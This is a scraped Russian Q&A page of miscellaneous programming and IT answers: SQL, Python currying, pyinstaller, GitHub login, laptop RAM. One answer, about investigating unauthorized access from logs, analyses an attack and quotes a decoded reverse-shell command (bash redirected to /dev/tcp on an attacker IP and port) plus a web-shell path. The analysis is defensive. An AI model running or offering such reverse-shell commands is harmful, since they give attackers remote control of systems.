Задать вопрос
Профиль пользователя заблокирован сроком с 1 апреля 2025 г. и навсегда по причине: подозрительная активность
  • Как правильнее сделать проверку на присутствие строки в таблице?

    select exists(select 1 FROM users WHERE id = <some_id>)

    Это вернет true/false.
    Ответ написан
    Комментировать
  • Как на ubuntu найти libopus?

    karabanov
    @karabanov Куратор тега Docker
    Системный администратор
    Тебе надо эту библиотек установить в образ. Добавь apt install libopus-dev libopus0 в Dockerfile
    Ответ написан
    1 комментарий
  • Как работать с конструкцией try except?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Сделайте ещё один вложенный цикл для попыток обработки каждого из элементов. Можно при успешном выполнении без ошибок выходить из внутреннего цикла досрочно, а при ошибке не выходить досрочно и цикл будет повторять попытки.
    Если бы у вас было побольше опыта программирования на питоне, я бы посоветовал бы вам вынести обработку одного элемента в отдельную функцию, а еще посоветовал бы поупражняться в написании декоратора `retry`, который будет оборачивать любую функцию в новую функцию и в случае ошибки повторять её запуск пока не будет исчерпан лимит попыток.
    По-моему такой пример или упражнение, кстати, и было в одной из книг Лутца. Но вам подойдёт практически любая, где рассматриваются основы языка.
    Ответ написан
    2 комментария
  • Как обьявить переменную из массива?

    sergey-gornostaev
    @sergey-gornostaev Куратор тега Python
    Седой и строгий
    abc, bcd, cde = array
    Ответ написан
    Комментировать
  • Как понять каррирование и частичное применение функции? В чём их различия?

    Vindicar
    @Vindicar
    RTFM!
    plyk, вот частичное применение в упрощённом варианте для двух аргументов.
    def partial(func: typing.Callable[[int, int], int], arg1: int) -> typing.Callable[[int], int]:
        def wrapper(arg2: int) -> int:
            return func(arg1, arg2)
        return wrapper
    
    def add (x: int, y: int) -> int:
        return x + y
    
    def div(x: int, y:int) -> int:
        return x // y
    
    add_42 = partial(add, 42)
    print(add_42(3))  # 42 + 3 = 45
    
    div_120 = partial(div, 120)
    print(div_120(30))  # 120 // 30 = 4


    А каррирование - по сути, каррированная функция вместо выбрасывания ошибки "недостаточно аргументов" возвращает частично применённую функцию для себя и указанных аргументов. Вот очень упрощённая реализация для функции двух аргументов:
    def curry(func: typing.Callable[[int, int], int]) -> typing.Callable:
        def wrapper(*args):
            if len(args) == 2:
                return func(*args)
            elif len(args) == 1:
                return partial(func, args[0])
            else:
                raise Exception('Invalid arguments')
        return wrapper
    
    curried_add = curry(add)
    print(curried_add(32, 23))  # 55
    add_30 = curried_add(30)
    print(add_30(70))  # 30 + 70 = 100
    Ответ написан
    6 комментариев
  • Можно ли написать OS на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Сейчас включу максимального зануду и скажу, что не всё так уж однозначно.
    Вопрос в том, что называть языком. Если языком считать синтаксис, то вполне можно написать транспилер, который будет транслировать питоновский код в сишный код, например, а его уже в машинный.
    ОС, написанная на Си - это скомпилированный машинный код - результат работы компилятора над исходником на языке Си. Да, стандартный компилятор Си может откомпилировать машинный код, а потом стандартный сборщик превратит его в набор файлов операционной системы.
    Стандартный транслятор питона в его байткод и интерпретатор этого байткода не смогут работать самостоятельно без операционной системы, но разве в условии вопроса было сказано про стандартный интерпретатор?

    В общем, писать ОС на питоне - очень странная идея, но и микроскопом теоретически можно попробовать "разминировать" противопехотную мину, особенно если привязать его к длинной штанге и снабдить зарядом взрывчатки, однако это чревато большими и бессмысленными страданиями.

    Простой ответ - нет, питон не предназначен для написания ОС, но использовать его для разработки большОго количества элементов ОС можно.
    Ответ написан
    2 комментария
  • Как скопировать 1ТБ Фото с айфона на мак без потерь?

    @Drno
    да кабелем подключить, открыть айфон как флешку и скопировать папку
    Ответ написан
    4 комментария
  • Как сделать рамку вокруг тени текста?

    Dimastik86
    @Dimastik86
    (isset($brain))?: die;
    1. можно сделать тупо шрифтом
    2. можно сделать тупо вектором
    3. ня

    Ответ написан
    5 комментариев
  • Замена оперативной памяти Acer Extenza 5635G?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Предположу, что на данном ископаемом стоит HDD, а значит:

    есть ли смысл делать апгрейд оперативы

    В Вашем случае, без замены на SSD - практически нет.

    какую лучше поставить

    На Вашем скрине указаны максимальные параметры оперативы: DDR3 1066Mhz / 8Gb.

    сколько и даст ли она прирост к работе

    Без замены на SSD - производительность увеличится на единицы процентов.

    UPD:
    Вы ответили:
    SSD стоит ADATA SP550


    Еще нашел Ваш коммент к ответу ниже (на Вашем скрине тоже написано dual channel):
    Свободных слотов нет их у меня два в одном 2gb во втором 4gb

    Заменяем на DDR3 1066Mhz 4Gb x2 (берем плашки памяти из одной партии), за счет двух-канала и увеличения объема памяти на 2Gb - получим увеличение производительности до 10-20% в приложениях, которые очень любят жрать оперативу (либо в общем числе приложений, которые не вмещались в объем по оперативе в 6Gb), в остальных до 5-10%.
    Ответ написан
    5 комментариев
  • Как в формуле использовать значение с другой ячейки?

    Dr_Elvis
    @Dr_Elvis
    В гугле забанен
    Так и напишите, английскими буквами, без кавычек
    =COUNTIF(X:X; A1)
    Ответ написан
    1 комментарий
  • В чём разница между list() и []?

    NeiroNx
    @NeiroNx
    Программист
    в том что range это итератор, а лист это список. Итератор возвращает значение когда его спросят, а список это хранилище всех значений. Функция лист - опрашивает из итератора все значения которые он может вернуть.

    разница в том что либо вы помните что у вас (начало,конец,шаг,текущее положение) или вы помните (10,20,30,40,50,60,...100500) - в случае списка ему придется занять память всеми значениями, а в случае итератора лишь хранить параметры для извлечения нового значения.
    Ответ написан
    Комментировать
  • Что за почтовый ящик HealthMailboxLUTF212?

    @NortheR73
    системный инженер
    Срочно сдавайте анализы:
    1. HealthChecker.ps1
    2.Test-ProxyLogon.ps1

    Дополнительно:
    July 2021 Exchange Server Security Updates - более свежих вроде пока нет
    Ответ написан
  • Что нужно написать в 'b', чтобы не произошло экранирование 'a'?

    Vindicar
    @Vindicar
    RTFM!
    Я бы использовал b = repr(a).
    Если нужно убрать кавычки - b = repr(a)[1:-1]
    Ответ написан
    Комментировать
  • Почему отключается PostgreSQL?

    2ord
    @2ord
    Connection string включает SSL, насколько я понял?

    psycopg2.InterfaceError: connection already closed
    Дальнейшие попытки обращения к БД дают ту же ошибку,
    psycopg2.InterfaceError: connection already closed
    Ошибка исправляется только перезапуском postgresql и затем приложения.
    Что в логах? Мониторинг СУБД имеется? Что там интересного в тот момент?
    Какой лимит соединений выставлен?
    Зачем открывается соединение СУБД каждый раз? Используй connection pool.
    Ответ написан
    1 комментарий
  • Как определить с какого порта происходит несанкционированный доступ по логам?

    firedragon
    @firedragon
    Не джун-мидл-сеньор, а трус-балбес-бывалый.
    смотрите за адресом
    176.59.41.128
    Первый запрос загрузка эксплоита расшифруйте онлайн энкодером base64 строку
    Второй запрос /downloads/sys.php?cmd=
    После равно идет строка, видимо тоже в base64 расшифруйте там будет что то типа
    ./shell.sh s4242

    Как я и предполагал получилось следующее
    https://www.base64decode.org/
    скрин нечеткий поэтому появился иероглиф, но как видим четко виден адрес и порт, собственно адрес атакуещего, а порт как видите 4252 плюс перенаправление потоков ввода вывода
    /in/bash -l >P/dev葉cp/176.59.41.128/4242 0<&1 2>&1
    Ответ написан
    2 комментария
  • После сборки Python проекта pyinstaller – ошибка, проблема с файлами изображений. Как исправить?

    @pASdfsa
    Решение номер 1, сложнее.
    Для добавления сторонних файлов используются следующие параметры:
    --add-data - для добавления текстовых файлов данных;
    --add-binary - для добавления бинарных данных.
    Правило добавления: имя-файла;имя_папки
    Например, если все дополнительные файлы лежат в папке models:
    pyinstaller -F --add-data coco-dataset.labels;models --add-data yolov3-tiny.cfg;models --add-data yolov3-tiny.weights;models pine.py

    А в в самом скрипте необходимо задать следующую функцию:
    import os
    import sys
    def resource_path(relative_path):
        """ Get absolute path to resource, works for dev and for PyInstaller """
        if getattr(sys, 'frozen', False):
            base_path = sys._MEIPASS
        else:
            base_path = os.getcwd()
        return os.path.join(base_path, relative_path)

    Решение номер 2, легче.
    Просто скинь в дерикторию там где exe, все ассеты(.mp3,.png,.rar и тд)
    Ответ написан
    1 комментарий
  • Как использовать в discord.py по своему?

    fenrir1121
    @fenrir1121 Куратор тега discord.py
    Начни с документации
    Как заставить бота создавать такие "даты" ?

    Это обычная строка формата <t:TIMESTAMP:STYLE>, куда передается время и стиль в котором его вывести.
    Стиль на скриншоте это Short Date/Time, для проверки можете скопировать строку из примера ниже в любой чат, она преобразуется в дату и время, соответствующее таймштампу.
    <t:1667384394:f>
    Документация
    Ответ написан
    3 комментария
  • Как авторизоваться на GitHub?

    Но когда доходит дело до пароля Я просто не могу туда ничего вводить не цифры не русские буквы не английские

    Это нормально. Ты на самом деле вводишь пароль, но чтобы со стороны нельзя было сказать даже какой длины у тебя пароль - ничего в консоль не выводится.
    Но вроде как в GH так аутентифицироваться нельзя - должно работать окошко с oauth.

    Для надёжности советую настроить SSH-ключи, чтобы не тратить время на http-аутентификацию
    Ответ написан
    Комментировать
  • Как авторизоваться на GitHub?

    sergey-kuznetsov
    @sergey-kuznetsov Куратор тега Git
    Автоматизатор
    После нажатия «Войти через браузер» должен открыться собственно браузер со страницей гитхаба, где вы должны нажать кнопочку «Разрешить».
    Если вы не разрешили или что-то пошло не так, то только тогда вылезет предложение ввести пароль в терминале. Но там вместо пароля нужно вводить не ваш гитхабовский пароль, а текст токена, который вы должны были заранее создать. Токен вам покажут только один раз, поэтому скопируйте его в буфер и сохраните где-нибудь.
    И вставляйте его в терминале тоже через буфер обмена, чтобы не ошибиться. При вводе паролей с терминале их никогда не видно, не пугайтесь и просто жмите Enter после ввода.
    Ответ написан
    Комментировать
  • Как можно улучшить модерирование?

    0xD34F
    @0xD34F
    Через форму обратной связи изложить администрации свои гениальные идеи (нет, это не насмешка, не сарказм - там такой пункт есть в выпадающем списке "тема"). Дальше надеяться, что администрация вас услышит, согласиться с услышанным и укажет модераторам на необходимость смены поведенческих паттернов.
    Ответ написан
    2 комментария